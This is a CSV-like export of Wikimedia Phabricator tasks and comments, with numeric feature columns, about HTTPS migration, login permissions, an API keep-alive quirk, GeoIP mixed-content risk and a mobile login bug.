+Technically, the function in that class isn't documented ;)",,,1340121979,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-vc3crewu6hac463o42lb,task_subcomment,,True,c2,1,True,,,-63,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+49507,Move parsoid.wmflabs.org to https,"The Visual Editor is writting problems to that url, but does not use https, so that is a unsafe operation, which should be avoid, because it is a secure hole.
+
+This should be a blocker for the coming roll out. Thanks.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Lowest,10.0,1366641360,1382398802.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-3vubdaw5ty26hsrjdlgf,task_description,resolved,True,c2,1,False,False,True,-19,True,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+217529,Move parsoid.wmflabs.org to https,Yuvi set up https proxying: https://parsoid.wmflabs.org/,,,1382398802,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-3vubdaw5ty26hsrjdlgf,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+217523,Move parsoid.wmflabs.org to https,"Note that the server will no longer be receiving these feedback items, so the original demand has less need.",,,1370629828,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3vubdaw5ty26hsrjdlgf,task_subcomment,,True,c2,1,True,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0
+217522,Move parsoid.wmflabs.org to https,"No data goes over the wire that is personally-identifying, so I would disagree that this is a blocker; however, yes, this is good practice and we should try to do thing (especially, to avoid unexpected mix-mode for users).",,,1366667468,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3vubdaw5ty26hsrjdlgf,task_subcomment,,True,c2,1,True,,,-19,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+48057,Add new rights: login,"add new default user right: login
+
+user only can login to account who have 'login' right.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: enhancement",Lowest,10.0,1363157220,1455635778.0,PHID-USER-ecpjgmrbfxvcanttpazu,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_description,declined,True,c2,1,False,False,False,-24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+897594,Add new rights: login,"Change 193658 abandoned by Legoktm:
+Add 'login' user right
+
+Reason:
+Per task
+
+[[https://gerrit.wikimedia.org/r/193658]]",,,1500497983,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,False,,,203,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+611204,Add new rights: login,"No reply to last three comments, hence declining.",,,1455635778,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,True,,,128,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+585302,Add new rights: login,"No further comments hence proposing to decline.
+
+As written in Gerrit, ""When you have answered here, I think it would be useful to notify mediawiki-l to get more use cases.""",,,1451479763,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,True,,,122,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0
+569665,Add new rights: login,"And on top of those things, we have `$wgBlockDisablesLogin`.
+
+I'm tempted to mark this declined.",,,1448794805,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,False,,,117,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+476768,Add new rights: login,"I find this a bit weird as well. Why let someone create an account if they're not supposed to login? It's easier to just create an account for approved people. There are multiple ways to do so:
+* https://www.mediawiki.org/wiki/Extension:ConfirmAccount;
+* https://www.mediawiki.org/wiki/Extension:InviteSignup;
+* user ""sandbox"" in the Translate extension which creates a ""partial"" account only but allows login.
+The last one  is not what you seek, still could give some checklist for your method; could you comment on why the first two points don't satisfy your use case?",,,1434574342,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,True,,,94,True,1,1,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0
+418776,Add new rights: login,"Since I don't think JuneHyeon Bae's working on this, I've made the patch. I hope JuneHyeon don't mind.",,,1425177934,,PHID-USER-scigxlexgozrr4ej5mm5,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,False,,,78,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+418775,Add new rights: login,"Change 193658 had a related patch set uploaded (by Zhaofeng Li):
+Add 'login' user right
+
+[[https://gerrit.wikimedia.org/r/193658]]
+",,,1425177825,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,False,,,78,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+205782,Add new rights: login,JuneHyeon Bae: Are you still working on this?,,,1416496228,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,3,True,,,64,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+205776,Add new rights: login,"(In reply to comment #1)
+> Could you elaborate which problem you would like to solve by this?
+
+This feature is for approve-based wikis.",,,1363171290,,PHID-USER-ecpjgmrbfxvcanttpazu,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1
+205768,Add new rights: login,Could you elaborate which problem you would like to solve by this?,,,1363165743,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-74ea3vtqpwxy2iln4u5h,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+44129,HTTPS Connection Close for login via API for Commons Wiki with IE user agent,"**Author:** `M8R-udfkkf`
+
+**Description:**
+When logging in via the commons API https://commons.wikimedia.org/w/api.php with an IE user agent, the response says ""Connection: close"" even if ""Connection: Keep-Alive"" is set in the request. This behavior is not seen if the user-agent is set to Firefox.
+
+Steps to replicate:
+**IE user agent request**
+
+POST https://commons.wikimedia.org/w/api.php HTTP/1.1
+Accept: */*
+Accept-Language: en-us
+Content-Type: application/x-www-form-urlencoded
+Accept-Encoding: gzip, deflate
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
+Host: commons.wikimedia.org
+Content-Length: 51
+Connection: Keep-Alive
+Cache-Control: no-cache
+
+format=xml&action=login&lgname=user&lgpassword=pass
+
+**IE user agent response**
+HTTP/1.1 200 OK
+Server: nginx/0.7.65
+Date: Thu, 15 Nov 2012 01:10:11 GMT
+Content-Type: text/xml; charset=utf-8
+Connection: close
+X-Content-Type-Options: nosniff
+Cache-Control: private
+Set-Cookie: commonswiki_session=<removed>; path=/; secure; HttpOnly
+X-Frame-Options: SAMEORIGIN
+Vary: Accept-Encoding
+Content-Length: 173
+X-Cache: MISS from cp1003.eqiad.wmnet
+X-Cache-Lookup: MISS from cp1003.eqiad.wmnet:3128
+X-Cache: MISS from cp1011.eqiad.wmnet
+X-Cache-Lookup: MISS from cp1011.eqiad.wmnet:80
+
+<?xml version=""1.0""?><api><login result=""NeedToken"" token=""<removed>"" cookieprefix=""commonswiki"" sessionid=""<removed>"" /></api>
+
+--------------------------------------------------------------------
+
+**Firefox user agent request**
+POST https://commons.wikimedia.org/w/api.php HTTP/1.1
+Accept: */*
+Accept-Language: en-us
+Content-Type: application/x-www-form-urlencoded
+Accept-Encoding: gzip, deflate
+User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0
+Host: commons.wikimedia.org
+Content-Length: 51
+Connection: Keep-Alive
+Cache-Control: no-cache
+
+format=xml&action=login&lgname=user&lgpassword=pass
+
+**Firefox user agent response**
+HTTP/1.1 200 OK
+Server: nginx/0.7.65
+Date: Thu, 15 Nov 2012 01:14:11 GMT
+Content-Type: text/xml; charset=utf-8
+Connection: keep-alive
+X-Content-Type-Options: nosniff
+Cache-Control: private
+Set-Cookie: commonswiki_session=<removed>; path=/; secure; HttpOnly
+X-Frame-Options: SAMEORIGIN
+Vary: Accept-Encoding
+Content-Length: 173
+X-Cache: MISS from cp1003.eqiad.wmnet
+X-Cache-Lookup: MISS from cp1003.eqiad.wmnet:3128
+X-Cache: MISS from cp1010.eqiad.wmnet
+X-Cache-Lookup: MISS from cp1010.eqiad.wmnet:80
+
+<?xml version=""1.0""?><api><login result=""NeedToken"" token=""<removed>"" cookieprefix=""commonswiki"" sessionid=""<removed>"" /></api>
+
+Could this be related to:
+http://blogs.msdn.com/b/ieinternals/archive/2011/03/26/https-and-connection-close-is-your-apache-modssl-server-configuration-set-to-slow.aspx
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**Whiteboard**: aklapper-moreinfo",Lowest,10.0,1352943360,1354380742.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-b65zbssqxmm4u3spqgrp,task_description,invalid,True,c2,1,False,False,True,-41,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+200001,HTTPS Connection Close for login via API for Commons Wiki with IE user agent,"**M8R-udfkkf** wrote:
+
+It works...must've been some windows settings.",,,1354380742,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-b65zbssqxmm4u3spqgrp,task_subcomment,,True,c2,1,False,,,-39,True,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+199995,HTTPS Connection Close for login via API for Commons Wiki with IE user agent,"Unless you're using XMLHttpRequest out of the browser, do not use a browser's user agent. See https://meta.wikimedia.org/wiki/User-Agent_policy.
+
+However, I tried manually sending the same request you list for your ""IE user agent"", and it gave me Connection: keep-alive.",,,1352944708,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-b65zbssqxmm4u3spqgrp,task_subcomment,,True,c2,1,True,,,-41,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0
+199990,HTTPS Connection Close for login via API for Commons Wiki with IE user agent,Why are you using an IE user agent?,,,1352943557,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-b65zbssqxmm4u3spqgrp,task_subcomment,,True,c2,1,True,,,-41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+42965,General-purpose HTTPS-friendly GeoIP solution,"Bug 40714 was invalid, but I think this is a valid request although a low priority one: if the browser doesn't allow to load unsecure resources, the GeoIP lookup to freegeoip.net should be skipped or anyway the behaviour should degrade gracefully (or more gracefully than it currently does). 
+Of course chasing browsers is not an option but maybe someone will come up with a smart solution. The linked thread mentions HTTP 304 Not Modified responses which might give some some clue to ULS maybe?
+
+--------------------------
+**Version**: master
+**Severity**: enhancement
+**URL**: https://translatewiki.net/wiki/Thread:Support/HTTP_request_on_HTTPS_translatewiki.net",Lowest,10.0,1349985240,1367223144.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_description,resolved,True,c2,1,True,False,True,-46,True,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+206751,General-purpose HTTPS-friendly GeoIP solution,Related URL: https://gerrit.wikimedia.org/r/60995 (Gerrit Change Ia18130890d09f86a93b5b61f7da7c48fcfa480c7),,,1366981201,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+206745,General-purpose HTTPS-friendly GeoIP solution,See also gerrit change 31637,,,1351938622,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,True,,,-43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+206738,General-purpose HTTPS-friendly GeoIP solution,"> External services are a security risk regardless of whether it is http or
+> https.
+Yes, but being in http additionally means it is also open to main-in-the-middle, attacks so it disables the https security (for an active attacker).",,,1350129910,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1
+206732,General-purpose HTTPS-friendly GeoIP solution,FYI: This request is blocked in Google Chrome by default when browsing translatewiki over HTTPS (as it should).,,,1350109953,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+206727,General-purpose HTTPS-friendly GeoIP solution,External services are a security risk regardless of whether it is http or https.,,,1350070884,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+206722,General-purpose HTTPS-friendly GeoIP solution,"You are on an untrusted network, so you only login in https, but as the wiki then loads http://freegeoip.net/json/?callback=mw.uls.setGeo in http, the attacker replaces the answer and runs arbitrary javascript in your browser...",,,1350070178,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+206716,General-purpose HTTPS-friendly GeoIP solution,ULS is degrading gracefully. There is nothing we can do to support https in ULS unless someone sets up https service. We could just not make the requests at all when using https.,,,1350068881,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-hwsu6v5zb5u2prwztx2k,task_subcomment,,True,c2,1,False,,,-46,True,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+42318,Special:UserLogin broken in MobileFrontend,"**Author:** `swalling`
+
+**Description:**
+View of login page while browsing via en.m.wikipedia.org
+
+Currently, you can visit the login page (Special:UserLogin) via en.m.wiki... and MobileFrontend will re-skin the page. However, submitting credentials simply reloads the page. 
+
+I understand that there are some blockers around doing mobile logins and registration, but we should probably just serve the desktop view of that page until mobile fully supports login/signup.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F9903}",Lowest,10.0,1347921720,1355942702.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-iomzjz7nzwvbx34243lq,task_description,resolved,True,c2,1,False,False,True,-50,True,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+192622,Special:UserLogin broken in MobileFrontend,"**swalling** wrote:
+
+Actually I think we can resolve to fixed, even if it's in beta awaiting wider deployment.",,,1355942702,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-36,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+192617,Special:UserLogin broken in MobileFrontend,Setting to low since it works in beta and will likely fix itself when functionality migrates.,,,1355942309,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-36,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+192612,Special:UserLogin broken in MobileFrontend,"In non-beta an error message appears on logging in ""There was an unexpected error logging in. Please try again. If the problem persists, it may be because you have cookies disabled, and you should check that they are enabled in your browser settings""",,,1351801109,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-43,True,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+192608,Special:UserLogin broken in MobileFrontend,This is fixed in beta but not non-beta,,,1351196715,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-44,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+192605,Special:UserLogin broken in MobileFrontend,"Will be fixed with
+https://mingle.corp.wikimedia.org/projects/mobile/cards/136",,,1350075323,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+192601,Special:UserLogin broken in MobileFrontend,*** Bug 24387 has been marked as a duplicate of this bug. ***,,,1347929976,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-50,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+192597,Special:UserLogin broken in MobileFrontend,Interestingly if you put your username and password in and click the login button you do actually login you just don't get redirected... weird.,,,1347928780,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-50,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+34028,https planets redirect to some WMF blog,"Go to:
+
+https://en.planet.wikimedia.org
+https://zh.planet.wikimedia.org
+
+After clearing the SSL warning screen (this appears to be bug 31335 ), I am taken to a slightly dated official WMF blog page (it's the same for both languages). I expect the served content to match http://en.planet.wikimedia.org and http://zh.planet.wikimedia.org respectively, but served over HTTPS.
+
+--------------------------
+**Version**: unspecified
